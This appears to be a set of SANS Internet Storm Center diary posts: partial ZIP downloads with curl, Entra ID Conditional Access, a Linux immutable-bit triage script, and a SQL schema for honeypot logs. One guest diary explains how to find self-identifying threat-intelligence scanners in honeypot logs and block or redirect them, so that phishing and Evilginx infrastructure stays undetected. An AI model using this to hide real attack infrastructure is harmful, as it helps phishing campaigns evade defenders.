Partial ZIP File Downloads
Say you want a file that is inside a huge online ZIP file (several gigabytes large). Downloading the complete ZIP file would take too long.
If the HTTP server supports the range header, you can do the following:
We will work with my DidierStevensSuite.zip file as an example (it's 13MB in size, not several GBs, but the principle remains te same).
First, with a HEAD HTTP request, we figure out the ZIP file size:
The size of the ZIP file is 13189336 bytes.
The end of a ZIP file contains a series of DIR records that compose the directory of files (and directories) contained inside the ZIP file. This directory is usually small, compared to the file size, so we will do a partial download starting at position 13000000.
This can be done with the curl range option: this will add a header that specifies the range we want to download:
Next we use my zipdump.py tool to parse the ZIP records (-f l) inside the partial ZIP download like this:
Let's say that the file we want to obtain, is xor-kpa.py. It's ZIP DIR record starts at posistion 0x0002e05d.
We can analyze that record like this:
Field headeroffset tells us were the corresponding ZIP FILE record is insize the ZIP file: at position 11892478. That ZIP FILE record contains the compressed data of the file (xor-kpa.py) we want. So that's the begin value of our range option: -r 11892478-
To determine the end value of our range option, we look at the next record in line (that's for file XORSearch.exe):
That ZIP FILE record starts at position 11899893. So 11899893 minus 1 is the end value of our range option: -r 11892478-11899892.
Here is the curl command to download the entiry ZIP FILE record for file xor-kpa.py:
And we analyze that partial download with zipdump.py like this:
The zipdump.py command to decompress (-s decompress) the ZIP data for file xor-kpa.py and write it to disk (-d), is the following:
And that gives us the desired file:
Didier Stevens
Senior handler
blog.DidierStevens.com
Zero Trust and Entra ID Conditional Access
Microsoft Entra ID (Formerly Azure AD) Conditional Access (CA) policies are the key components to a Zero Trust strategy, as it provides the ability to function as the front door for users and devices. CA policies use attributes, or signals, of various components as variables to be used to enforce specific access controls. Attributes include user and device attributes, such as location and device risk. By defining and controlling the conditions in which access is granted, we can reduce risk and enhance security.
Conditional access is a cornerstone of a Zero Trust strategy. The ability to explicitly verify, evaluate context, and leveraging adaptive access on a continuous basis allows for granular access control and monitoring. Key benefits of using conditional access in a Zero Trust framework include a reduced attack surface and enhanced dynamic security. Organizations can enforce ‘trust but verify’ principles and ensure that only authorized users have access to assets and resources, on a dynamic basis.
A Conditional Access policy can be broken down into two components: conditions and controls.
Conditions define under which circumstances access is granted; they can also be used to explicitly deny. The conditions evaluated are primarily user, app, and device focused, such as user risk or device compliance. One example of a CA policy may state that a Windows 10 device must have current malware and signatures applied.
A control is a set of actions to be taken when conditions are met. By defining what actions occur when given a certain set of attributes exist, security automation and orchestration begins to take place. Access can be granted, blocked, or on hold until risk is remediated. To use the above antimalware example, a CA policy that requires a current AV signature to grant access would block an out-of-date signature, and then redirect the user to update the AV signature.
Entra ID CA is only one platform that has Security Orchestration capabilities, many security platforms in use today have added enhanced capabilities, and updated the user experience, to support Zero Trust.
For additional information, please visit the Conditional Access overview page, and note at the bottom how these functions contribute to Zero Trust.
tony d0t carothers --gmail
0 Comments
New tool: immutable.py
When performing triage on a Linux system you suspect might be compromised, there are many aspects of the system that you may want to look at. In SANS FOR577, we talk about some existing tools and even writing your own bash script to collect triage data. In a case I worked a year or so ago, the attacker installed an LD_PRELOAD rootkit, which was itself pretty interesting, but one aspect that was a little unusual in this case was that they also set the immutable bit on /etc/ld.so.preload. I've used the find command to find suid and guid binaries and scripts, but it is a bit more of a pain to find files with the immutable bit. So, I wrote by a Python script that takes one or more file or directory names and returns the names of any that have the immutable bit. You can also add a switch to search recursively and another to return full path rather than relative (the default). I figured I can't be the only person who ever needed a tool like this, so I've added it to my GitHub script repo.
As with all of my tools/scripts, if you have have questions or suggestions you can e-mail me at my address below or on the handlers list.
References:
https://www.sans.org/cyber-security-courses/linux-threat-hunting-incident-response/
https://raw.githubusercontent.com/clausing/scripts/refs/heads/master/immutable.py
https://github.com/clausing/scripts
---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu
0 Comments
Leveraging Honeypot Data for Offensive Security Operations [Guest Diary]
[This is a Guest Diary by Alex Sanders, an ISC intern as part of the SANS.edu BACS program]
Introduction
As an offensive security professional, it is often part of my job to stand up infrastructure that is intentionally malicious and must be exposed to the internet. Examples of this could include Evilginx, Cobalt Strike, or proprietary offensive infrastructure. One of the problems with this however, is the need to remain undetected while conducting an operation. In the modern era, there are numerous companies launching automated scans against the entire internet to try and identify malicious infrastructure as quickly and accurately as possible. Some of these sensors have reached my infrastructure within moments of its exposure to the internet. In the case of a phishing campaign where a user has clicked a link to visit your malicious site, this will cause your domain to present an alarming screen to an end-user such as the one below:
To prevent your infrastructure from being marked as malicious or added to an IOC list, you can always utilize a blacklist and block all traffic from these sensors. Therein lies the problem; what do you block? Some organizations, such as Microsoft, will publish lists of their infrastructure and their roles, which is included in popular guides for protecting offensive tooling such as Evilginx. However, most organizations that curate threat intelligence don’t do this as it gives attackers an easy win. Luckily for us, some of these organizations will include information about themselves within their network traffic so that administrators and analysts don’t waste time trying to discern these sensors from malicious traffic. One such example that has been observed is GCore Labs. While reviewing non-standard user-agent strings in web requests to my honeypot, I found that between November 9th, 2024 at 02:56:19.089 and November 16th, 2024 at 08:49:46.871 10 different addresses scanned for a web-root “/” directory 1,056 times, with the peak of this activity occurring on November 11th.
Each request contained a string within the user-agent header labeled “GCore Labs Cyberthreat Research”.
Performing a google search for “GCore Labs Cyberthreat Research” results in a knowledge article for threat hunting from GCore Labs. Further review of the results shows a listing for this user-agent on a site called Udger. This organization has not only seen similar traffic, but provides useful information such as whether traffic with this user-agent is currently active, and all observed origin IP addresses.
Identifying Non-Standard User-Agent Strings
Let’s start with getting a list of unique user-agents from our web honeypot logs with:
`cat /srv/db/webhoneypot-*.json | jq .headers | jq '.["user-agent"]' | sort -u >> user-agents`
From here, we could analyze this data several ways, however I’ve chosen to pick strings from common user-agents and, using egrep, exclude lines matching those strings using:
`egrep -v '^"(curl|Mozilla|Wget|python-requests|Opera|Hello|firefox|Mozila)/' user-agents`
This results in a much easier to parse list of strings. Most of these, while odd, are still legitimate user-agents. However, in this particular dataset, we can see that the honeypot has been scanned by Palo Alto’s Expanse sensors. Though this Expanse is used to identify Palo Alto customer threat surface, and therefore not useful for our intended purpose, this demonstrates how one could identify any self-reporting threat intelligence sensors.
Operating With Collected Data
As your team identifies scanners and their associated IP addresses, this information can be stored in a private repository and leveraged as part of build scripts for your red team infrastructure. One could either block requests entirely using iptables, or perform a specific action when scanned by an IP in the list such as serving up a dummy-page or a redirect.
[1] https://endpoints.office.com/endpoints/worldwide?clientrequestid=b10c5ed1-bad1-445f-b386-b919946339a7
[2] https://github.com/aalex954/evilginx2-TTPs#ip-blacklist
[3] https://gcore.com/learning/cyberthreat-hunting/
[4] https://udger.com/about-us
[5] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
1 Comments
Extracting Practical Observations from Impractical Datasets
[This is a Guest Diary by Curtis Dibble, an ISC intern as part of the SANS.edu BACS [1] program]
Figure 1: A heatmap showing the date and frequency a given set of commands input to the honeypot
Spoiler alert, sugar costs money, and syntactic sugar is the most expensive type. Fortunately, we live in an era where a developer’s laptop tends to come with resources unheard of in the server realm a decade ago [2] and a vibrant open-source community to make use of all that shiny new silicon. All that sweet, sweet, free and open source software living under the umbrella of the MIT and GNU Affero General Public License (commonly known as the AGPL) license agreements is a godsend to both the amateur and professional cyber practitioner - until it isn’t. Which brings us to the crux of the issue and why this article exists in the first place. Smarter and more experienced people than myself have been writing and discussing this for the last twenty five years or more, but the simplest explanation is that cybersecurity as an industry suffers from a relationship with Not-Invented-Here Syndrome [3][4] that’s dysfunctional enough to warrant its own definition in the DSM-V (Diagnostic and Statistical Manual of Mental Disorders v5). A significant portion of that stems from the wildly different origin stories of practitioners. From administrative professionals to software engineers, network admins to high school dropouts, the value of their contributions lies in the varied life experience and broad spectrum of perspectives. The conflict, however, is the age old problem of buy-vs-build.
To lay out the problem with examples, I’ll start with my own experience. Folks without extensive programming history tend to reach for the ‘buy’ or ‘off the shelf’ button to solve a problem, while anyone that’s written enough scripts (myself included…) will have a text editor with some boilerplate ready faster than Shodan can advertise unprotected RDP (Remote Desktop Protocol) access. Using off the shelf open source is usually the right answer - if for no other reason than to see whether an idea has merit. At some point though, the internals need customization and optimization to handle the problem, or open up options to integrate with other tools for deeper insights and fresh opportunities. To make that a little more concrete, I have nothing but praise for David Fitzmaurice and the work he’s done to weld together Zeek, Snort, and Grafana [5] with a little help from ChatGPT to dial it in. This is the right answer. Use best in breed tooling where you can, and tailor the important parts to the mission. Scott Jensen did exactly this with the DShield-SIEM project [6][7] and leaned hard on Elastic’s ELK (Elasticsearch, Logstash, Kibana) stack [8] as the implementation toolkit. Getting a working version of an idea off the ground is one of the hardest things around, but once it’s gained traction, the problem shifts to one of maintaining scope. Again, as a concrete example Joel Spolsky [2] made the point that Excel had a bespoke C compiler. Which, while that limits the scope, flexibility, and accessibility, it means that at one point, the internals of the bane of modern work were incredibly impressive before becoming just another fancy XML parser.
Thoughts and Background
Expanding on that, we have plenty of tools, one-offs, and live with the near axiomatic fact that there are no one-size-fits-all solutions in this arena. ELK stack is mentioned often enough as the standard for security or general purpose analytics work. The problem with this - and the state of SIEM (Security Information and Event Management) or SOAR (Security Orchestration Automation and Response) solutions in general - is that storage, compute, and memory have become cheap enough to leave data in the native format which it was collected, and then reparse on update or cache results in temporary storage. I’ve dealt with this personally using the IBM QRadar [9] platform, waiting patiently for it to skim and then collate results from dozens of terabytes of flat files using regular expressions. That wouldn’t be an issue if it was at least fast for the end user, and scaling didn’t imply a choice between massive capital expenditures for more licenses and hardware vs paying for additional cloud services. At the end of the day, this is one root cause of issues in the Information Age. In other words, there are professional tools that exist and scale, they are prohibitively expensive for all but the largest players, the only solution anyone is willing to try at scale involves throwing more servers at the problem, and nobody is interesting in solving these combined issues. I built the parts included in this article and published the repository at the end to act as a foundation for practitioners to at least try something different.
Moving on
Admittedly, I have a few hesitations when using Docker-based products after dealing with them in production, which is one of the reasons for steering clear of the existing DShield-SIEM solution. I also wanted to get more out of the internship than simply observing and reporting. So, using the tools that I knew, I set off to see if it was worth reinventing the wheel, or at least to figure out if there was a better way forward. In the process, I had to apply several years of experiments across different fields to an old problem, and something novel seems to have come out the other end. Fair warning, I am by no stretch a master of SQL. At best, I am a semi-literate student of the language with access to a deep library. To get to this point required extensive study of Joe Celko’s work [10][11], a lot of experimentation, too much time reading SQL Server documentation [12], more Google-fu than I’m willing to admit. Standing up a prototype also meant having significant personal infrastructure to fail relentlessly forward. Fortunately, the slimmed down version is laptop friendly.
Figure 2: 60% of the time it happens every time. SQL Server and proper database management systems are memory hogs not meant for consumer hardware. Unless you set the proper constraints and configurations, of course.
This project never would have forced me to face certain scaling issues without a little help from Jesse La Grew and a massive data dump of logs he provided. After that contribution, I ended up with an additional 11GB of Cowrie, Firewall, and Web/Honeypot logs to work with. There are over 300GB+ of compressed PCAP capture files included, but I have not had the time to create a decent model for them. Onto the meat and potatoes.
The first problem I solved wound up being the key to the entire structure – data deduplication and type-casting. In the end, an IP Address as we recognize it is nothing more than a formatted decimal representation of a binary string with a predefined length. This applies to IPv4 just as much as it does to IPv6 - or even an MD5 hash defining a session identifier. As it turns out, both open source and commercial implementations of SQL are highly optimized to process binary data, and come with extensive libraries of purpose built functions to do precisely that. Using in-situ conversion between VARCHAR(45)
and VARBINARY(16)
storage, I was able to build a lookup table that can be cached, searched, and indexed to a simple, 2-byte, integer identifier, with the mechanics hidden behind a series of stored procedures and views, storing and comparing both IPv4 and IPv6 in the same column, using a single interface to interpolate both, while keeping this activity completely invisible to the end user.
Type (Length) | Storage (Bytes) | Max Size (Bytes) | Note |
---|---|---|---|
VARCHAR(45) | D + 2 = 45 | 45 | Non-Unicode, 1 Byte/Character |
NVARCHAR(MAX) | D + P | 2 x 1024**3 (GB) | LOB for values over 8KB |
NVARCHAR(45) | 2 x C + 2 = 90 | 90 | Unicode, 2 Bytes/Character |
VARCHAR(MAX) | D + P (if off-row) | 2 x 1024**3 (GB) | LOB for values over 8KB |
BINARY(16) | D = 16 | 16 | No Metadata overhead, fixed size |
BINARY(MAX) | D + P | 2 x 1024**3 (GB) | LOB for binary values over 8KB |
VARBINARY(16) | D + 2 = 16 | 16 | Binary, stores raw byte sequences |
VARBINARY(MAX) | D + P (if off-row) | 2 x 1024**3 (GB) | LOB for binary values over 8KB |
Figure 3: Notes - LOB = Large Object, Storage: D = Data Length, P = Pointer, C = Character Count
A quick breakdown of datatypes, storage sizes, and why it’s important to be specific. This is SQL Server specific, but should translate fairly well across different vendors.
Figure 4: SSMS Query Execution: A wise man once told me: show, don’t tell. Here’s the query plan for an unoptimized view that will scan about 33.5 million rows, perform on-the-fly type conversions and comparisons of binary data to strings, and return approximately 1.4 million results.
Figure 5: SSMS Query: The actual query and sample results showing various JOINS and transformations.
Figure 6: Client Execution Statistics for SQL Server from this Query. It takes about 7 seconds when not displaying the plan, and this instance is restricted to 30% of laptop resources.
I continued to apply this general idea to other portions of the Cowrie, Firewall, and Honeypot logs, and created a schema called Rolodex to contain the most common lookups. For a sense of scale, there are nearly 40 million log entries stored this way, and total database consumes 3600MB of disk space after vectorization using a hierarchy structure detailed by Joe Celko in his book on Trees and Hierarchies [11].
Figure 7: Cowrie Logs Storage [Cowrie].[Logs] |
Figure 8: Firewall Logs Storage [Logs].[Firewall] |
Figure 9: Honeypot Logs Storage [Logs].[Honeypot] |
Figure 10: SSH Logs Storage [Logs].[RawSSH] |
Log | Table | Row Count | Data (MB) | Index (MB) | Compression? |
---|---|---|---|---|---|
Cowrie | Cowrie.Logs | 4,485,242 | 177.891 | .672 | None |
Firewall | Logs.Firewall | 33,513,712 | 1462.719 | 1522.680 | None |
Honeypot | Logs.Honeypot | 31,213 | 1.242 | 1.703 | None |
SSH | Logs.RawSSH | 11,860 | .430 | .781 | None |
Figure 11: Log table metadata.
The Code
That’s enough talk. Knowing that code reuse is the holy grail of software engineering, I refactored a few portions into separate modules so that readers can walk away from this with something useful without taking a deep dive into the finer points of data science. There will be link to the GitHub repository in the references section. All code shown in this article is licensed under the GNU Affero General Public License, more commonly known as the AGPL. While this is plain SQL, it is targeted at Microsoft SQL Server 2019, but should be fairly easy to modify for use with an open source database such as PostgreSQL, libSQL/SQLite3, or other commonly available options. To avoid making any assumptions about user’s backgrounds, I’ll break down why this is important, and that might shed some light on why the every tech company worth its salt has spent billions of dollars to optimize Javascript over the last two decades. It should also explain part of how we wound up with Typescript, WebAssembly, React, and other technologies. That said, time to take a look under the hood!
/*
* IP Address SQL Schema
* A schema to perform fast CRUD and analysis operations in plain SQL
* Copyright (C) 2025 Curtis Dibble
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
-- =============================================
-- Title: IPAddress - IP To String
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: Scalar Function
-- Description:
-- Convert a (Single) VARBINARY(16) IPv4 or
-- IPv6 Address to a VARCHAR(45)
-- Representation for display or transport
-- =============================================
CREATE FUNCTION [IPAddress].[FromBinary] (@IPBinary VARBINARY(16))
RETURNS VARCHAR(45) AS
BEGIN
DECLARE @Result VARCHAR(45) = '0.0.0.0';
IF @IPBinary IS NULL RETURN NULL;
ELSE IF DATALENGTH( @IPBinary ) = 4
RETURN
CONVERT(VARCHAR(3), CONVERT(TINYINT, SUBSTRING(@IPBinary, 1, 1)))+'.'+
CONVERT(VARCHAR(3), CONVERT(TINYINT, SUBSTRING(@IPBinary, 2, 1)))+'.'+
CONVERT(VARCHAR(3), CONVERT(TINYINT, SUBSTRING(@IPBinary, 3, 1)))+'.'+
CONVERT(VARCHAR(3), CONVERT(TINYINT, SUBSTRING(@IPBinary, 4, 1)));
ELSE IF DATALENGTH( @IPBinary ) = 16
RETURN
CONVERT(VARCHAR(4), SUBSTRING(@IPBinary, 1, 2), 2) + ':' +
CONVERT(VARCHAR(4), SUBSTRING(@IPBinary, 3, 2), 2) + ':' +
CONVERT(VARCHAR(4), SUBSTRING(@IPBinary, 5, 2), 2) + ':' +
CONVERT(VARCHAR(4), SUBSTRING(@IPBinary, 7, 2), 2) + ':' +
CONVERT(VARCHAR(4), SUBSTRING(@IPBinary, 9, 2), 2) + ':' +
CONVERT(VARCHAR(4), SUBSTRING(@IPBinary, 11, 2), 2) + ':' +
CONVERT(VARCHAR(4), SUBSTRING(@IPBinary, 13, 2), 2) + ':' +
CONVERT(VARCHAR(4), SUBSTRING(@IPBinary, 15, 2), 2);
RETURN @Result
END;
GO
-- =============================================
-- Title: IPAddress - String To IP
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: Scalar Function
-- Description:
-- Convert a (Single) VARCHAR(45) IPv4 or
-- IPv6 Address to a VARBINARY(16)
-- Representation for storage or calculations
-- =============================================
CREATE FUNCTION [IPAddress].[ToBinary] (@IPString VARCHAR(45)) RETURNS VARBINARY(16) AS
BEGIN
IF @IPString IS NULL RETURN NULL;
DECLARE
@Result VARBINARY(16),
@Token VARCHAR(4),
@VBytes VARBINARY(16) = 0x,
@VBZone VARBINARY(2),
@TempIPAddress VARCHAR( 40 ),
@ColumnIndex TINYINT,
@Delimiter CHAR(1) = '.',
@PreviousColumnIndex TINYINT = 0,
@Parts TINYINT = 0,
@Limit TINYINT = 4;
-- Get position if IPV4 delimiter
SET @ColumnIndex = CHARINDEX( @Delimiter, @IPString );
-- If not IPV4, then assume IPV6
IF @ColumnIndex = 0
BEGIN
SELECT
@Delimiter = ':',
@Limit = 8,
@ColumnIndex = CHARINDEX( @Delimiter, @IPString );
-- Get number of parts (delimiters)
WHILE @ColumnIndex > 0
SELECT
@Parts += 1,
@ColumnIndex = CHARINDEX(@Delimiter,@IPString,@ColumnIndex+1);
SET @ColumnIndex = CHARINDEX(@Delimiter,@IPString);
IF @ColumnIndex = 0 RETURN NULL;
END
-- Add trailing delimiter (need new variable of larger size)
SET @TempIPAddress = @IPString + @Delimiter;
WHILE @ColumnIndex > 0
BEGIN
SET @Token = SUBSTRING(
@TempIPAddress,
@PreviousColumnIndex + 1,
@ColumnIndex - @PreviousColumnIndex - 1);
IF @Delimiter = ':'
BEGIN
SELECT
@VBZone = CONVERT( VARBINARY(2),
RIGHT( '0000' + @Token, 4 ), 2 ),
@VBytes += @VBZone;
-- Handles consecutive sections of zeros
-- representation rule (i.e.::)
-- (https://en.wikipedia.org/wiki/IPv6#Address_representation)
IF @Token = ''
WHILE @Parts + 1 < @Limit
SELECT @VBytes += @VBZone, @Parts += 1;
END
ELSE
BEGIN
SELECT
@VBZone = CONVERT(VARBINARY(1), CONVERT(TINYINT,@Token)),
@VBytes += @VBZone
END
SELECT
@PreviousColumnIndex = @ColumnIndex,
@ColumnIndex=CHARINDEX(@Delimiter,@TempIPAddress,@ColumnIndex+1)
END
SET @Result = CASE @Delimiter WHEN ':' THEN @VBytes
ELSE /*0x000000000000000000000000 +*/ @VBytes
-- Return IPV4 addresses as 4 byte binary
-- (uncomment leading 0s section to force 16 byte binary)
END
RETURN @Result
END;
GO
-- =============================================
-- Title: IPAddress - Addresses
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: Table
-- Description:
-- Table to store unique IP addresses as
-- Binary (All) (VARBINARY(16))
-- Indexed on Value to prevent duplicates
-- =============================================
CREATE TABLE [IPAddress].[Addresses] (
[Id] INT IDENTITY(1,1) PRIMARY KEY,
[Value] VARBINARY(16) NOT NULL
);
GO
-- Index on IP Address to prevent duplicates
CREATE INDEX IX_IPAddress_Addresses_Value ON [IPAddress].[Addresses]([Value]);
GO
Looking at the data that DShield honeypots produce, there seemed like a lot of opportunity to eliminate duplicate data – or at least reduce it without destroying records in the process. High five to Bryan Simon’s SEC401 course material (GSEC) for bridging the gap between what traverses the network, and what lives at the application/presentation layers, and another one to David Hoelzer for his work on SEC503 (GCIA).
PostgreSQL and others come with their own built-in datatypes/handling for network addresses, but often enough, being vendor-agnostic is more important than native performance. You can usually throw more silicon at a problem, but asking for additional developers or more licenses has a funny tendency of ruffling the wrong people’s feathers. Starting with an older version of SQL Server forced me to look at the problem through that lens. The ToBinary and FromBinary functions, and the first iteration of the Addresses table were the initial successes after trying to get a toehold on how to parse these logs more efficiently without resorting to handling tens of millions of lines worth of text using command line tools. JQ and others work fine for experimentation, purpose-built document databases exist, and plenty of services have been built to solve this problem using every backend under the sun – but nothing quite compares to being able to walk away from a bad licensing deal or subscription without a care in the world. Again, I’m not a master of SQL, but I’ve run into enough problems over time that it looked like optimizing IP address storage could be a pattern worth exploiting in the name of speed. Knowing that IPv6 is slowly gaining traction, I wanted to make sure that any solution wouldn’t find itself abandoned and unloved in a few years due to gradual shifts in standards. We try not to redo perfectly good work in my house.
I’ve built other projects that handled large datasets with timeseries components. In the process of trying that many things, it meant putting every Python ORM (Object Relational Manager), web framework, and other toolkit through their paces, in an effort to find a magical abstraction to manage the complex SQL structures that always came up. Once, just to see what would happen, I left a webscraper running for several weeks. The program and backend would never be called ‘perfect,’ but they were definitely better than ‘best effort.’ During that period, it turned into an unwieldy (and nearly unusable!) 72GB SQLite3 database with about 40 tables. I still keep a copy as a reminder.
One of the key choices to notice is the use of INT
vs BIGINT
as the datatype for the Id column. A more observant reader might notice that I used an integer identity column and Id in the first place, instead of checks, uniqueness constraints, or other - arguably better - practices. Those are entirely fair observations, and the use of an integer identity started as a consequence of ignorance. This consequence grows more severe when one realizes that the entire IPv4 address space is 2**32 unique numbers, the INT
type can contain 2**32-1 unique values, and the IPv6 address space is 1028 times larger than either. In my defense, if any group of honeypots feeding data into this system encounter more than 4 billion unique clients, we all have far more serious problems to worry about.
Fear not! There is, in fact, a method to the madness. Humor me.
-- =============================================
-- Title: IPAddress - Insert IP
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: Stored Procedure
-- Description:
-- Insert a (Single) VARCHAR(45) IPv4 or
-- IPv6 Address to the IP Address table and
-- store it as a VARBINARY(16) item
-- =============================================
CREATE PROCEDURE [IPAddress].[InsertAddress] @IPString VARCHAR(45) AS
BEGIN
INSERT INTO [IPAddress].[Addresses] ([Value])
VALUES ([IPAddress].[ToBinary](@IPString));
SELECT SCOPE_IDENTITY() AS NewID;
END;
-- =============================================
-- Title: IPAddress - IPv4 As Binary
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: View
-- Description:
-- View to retrieve IPv4 addresses from the
-- Address table as VARBINARY(16)
-- =============================================
CREATE VIEW [IPAddress].[IPv4AsBinary]
AS SELECT
[Id],
[Value] AS [Address]
FROM [IPAddress].[Addresses]
WHERE LEN([Value]) = 4;
-- =============================================
-- Title: IPAddress - IPv4 As String
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: View
-- Description:
-- View to retrieve IPv4 addresses from the
-- Address table as VARCHAR(45)
-- =============================================
CREATE VIEW [IPAddress].[IPv4AsString]
AS SELECT
[Id],
[IPAddress].[FromBinary]([Value]) AS [Address]
FROM [IPAddress].[Addresses]
WHERE LEN([Value]) = 4;
-- =============================================
-- Title: IPAddress - IPv6 As Binary
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: View
-- Description:
-- View to retrieve IPv6 addresses from the
-- Address table as VARBINARY(16)
-- =============================================
CREATE VIEW [IPAddress].[IPv6AsBinary]
AS SELECT
[Id],
[Value] AS [Address]
FROM [IPAddress].[Addresses]
WHERE LEN([Value]) = 16;
-- =============================================
-- Title: IPAddress - IPv6 As String
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: View
-- Description:
-- View to retrieve IPv6 addresses from the
-- Address table as VARCHAR(45)
-- =============================================
CREATE VIEW [IPAddress].[IPv6AsString]
AS SELECT
[Id],
[IPAddress].[FromBinary]([Value]) AS [Address]
FROM [IPAddress].[Addresses]
WHERE LEN([Value]) = 16;
Using a set of VIEW
and PROCEDURE
objects to invisibly convert between VARBINARY(16)
and VARCHAR(45)
, Create/Read/Update/Delete (CRUD) becomes dramatically easier, less error-prone, and open for automation with whatever procedural language you’re more comfortable with. I did this with Python using the Pandas package and pymssql database driver to manage connections. Golang, C#/.NET, Bash, PowerShell, Javascript or plain Java would work just as well, if not better. That’s part of the explanation, but it’s the part that misses the point. The point, is that the volume of data available to analyze is exploding at an exponential rate. There’s no universe where anyone has the time to sit and comb through tens of millions - or even billions - of records by hand, let alone search for a needle in a sewing factory.
-- =============================================
-- Title: IPAddress - Subnets
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: Table
-- Description:
-- Table to store Subnet addresses and associated
-- Netmask values (in CIDR notation)
-- =============================================
CREATE TABLE [IPAddress].[Subnets] (
[Id] INT IDENTITY(1,1) PRIMARY KEY,
[Value] VARBINARY(16) NOT NULL,
[CIDR] TINYINT NOT NULL CHECK ([CIDR] <= 96),
[Netmask] VARBINARY(16) NOT NULL,
[Bogon] BIT NOT NULL DEFAULT 0,
[Comment] VARCHAR(128) NULL,
CONSTRAINT UQ_IPAddress_Subnets_Address_CIDR_Netmask
UNIQUE CLUSTERED ([Value], [CIDR], [Netmask]),
);
-- =============================================
-- Title: IPAddress - Bogons
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: Table
-- Description:
-- Table to store Bogon IP addresses,
-- aka: loopback or non-public ranges
-- =============================================
CREATE TABLE [IPAddress].[Bogons] (
[Id] INT IDENTITY(1,1) PRIMARY KEY,
[Value] VARBINARY(16) NOT NULL
);
-- Index on Bogon IP Address to prevent duplicates
CREATE INDEX IX_IPAddress_Bogons ON [IPAddress].[Bogons]([Value]);
-- =============================================
-- Title: IPAddress - CloudProviders
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: Table
-- Description:
-- Table to store unique Cloud Providers for
-- fast lookups
-- =============================================
CREATE TABLE [IPAddress].[CloudProviders](
[Id] INT IDENTITY(1,1) NOT NULL,
[Value] NVARCHAR (255) NOT NULL,
PRIMARY KEY CLUSTERED ([Id] ASC),
CONSTRAINT [UQ_IPAddress_CloudProviders_Name]
UNIQUE NONCLUSTERED ([Value] ASC)
);
-- =============================================
-- Title: IPAddress - Cloud Provider Subnets
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: Table
-- Description:
-- Store Reference Table of IP Ranges owned
-- by various major cloud providers
-- =============================================
CREATE TABLE [IPAddress].[CloudProviderSubnets] (
[Id] INT IDENTITY(1,1) PRIMARY KEY,
[SubnetID] INT NOT NULL,
[NetMask] INT NOT NULL,
[CloudProviderID] INT NOT NULL,
[Comment] NVARCHAR(255) NULL DEFAULT NULL,
CONSTRAINT UQ_IPAddress_CloudProviders_Ip
UNIQUE ([SubnetID], [CloudProviderID]),
-- Only one provider can own a range at a time...
CONSTRAINT CK_IPAddress_CloudProviders_NetMask
CHECK ([NetMask] >= 0 AND [NetMask] <= 128),
-- Not perfect, but better than nothing
CONSTRAINT FK_IPAddress_CloudProviderSubnets_Subnet
FOREIGN KEY ([SubnetID])
REFERENCES [IPAddress].[Subnets]([Id]),
CONSTRAINT FK_IPAddress_CloudProviderSubnets_CloudProvider
FOREIGN KEY ([CloudProviderID])
REFERENCES [IPAddress].[CloudProviders]([Id])
);
-- =============================================
-- Title: Reference - RFC
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: Reference
-- Type: Table
-- Description:
-- Store Quick Lookup of RFC Info (All)
-- =============================================
CREATE TABLE [Reference].[RFC] (
[Number] INT PRIMARY KEY,
[Name] VARCHAR(127) NOT NULL DEFAULT '',
[Description] VARCHAR(255) NOT NULL DEFAULT '',
CONSTRAINT UQ_Reference_RFC_Number_Name UNIQUE ([Number], [Name])
);
-- =============================================
-- Title: Preload - RFC
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: Reference
-- Type: Data
-- Description:
-- Preload the RFC table
-- =============================================
INSERT INTO [Reference].[RFC]
([Number], [Name], [Description])
VALUES
(1045, 'VERSATILE MESSAGE TRANSACTION PROTOCOL', 'https://datatracker.ietf.org/doc/html/rfc1045'),
(1112, 'Host Extensions for IP Multicasting', 'https://datatracker.ietf.org/doc/html/rfc1112'),
(1142, 'OSI IS-IS Intra-domain Routing Protocol', 'https://datatracker.ietf.org/doc/html/rfc1142'),
?
(998, NULL, 'https://datatracker.ietf.org/doc/html/rfc998');
-- =============================================
-- Title: Logs - Honeypot
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: Logs
-- Type: Table
-- Description:
-- Table containing all Honeypot Logs
-- =============================================
CREATE TABLE [Logs].[Honeypot](
[LogID] INT IDENTITY(1,1) NOT NULL,
[Count] INT NOT NULL,
[LogTimestamp] DATETIME2(7) NOT NULL,
[SourceID] INT NOT NULL,
[UrlID] INT NOT NULL,
[UserAgentID] INT NOT NULL,
CONSTRAINT FK_Logs_Honeypot_Source
FOREIGN KEY ([SourceID])
REFERENCES [IPAddress].[Addresses]([Id]),
CONSTRAINT FK_Logs_Honeypot_UserAgent
FOREIGN KEY ([UserAgentID])
REFERENCES [Rolodex].[UserAgents]([Id]),
CONSTRAINT FK_Logs_Honeypot_Url
FOREIGN KEY ([UrlID])
REFERENCES [Rolodex].[Urls]([Id])
);
CREATE INDEX IX_Logs_Honeypot_LogTimestamp
ON [Logs].[Honeypot]([LogTimestamp]);
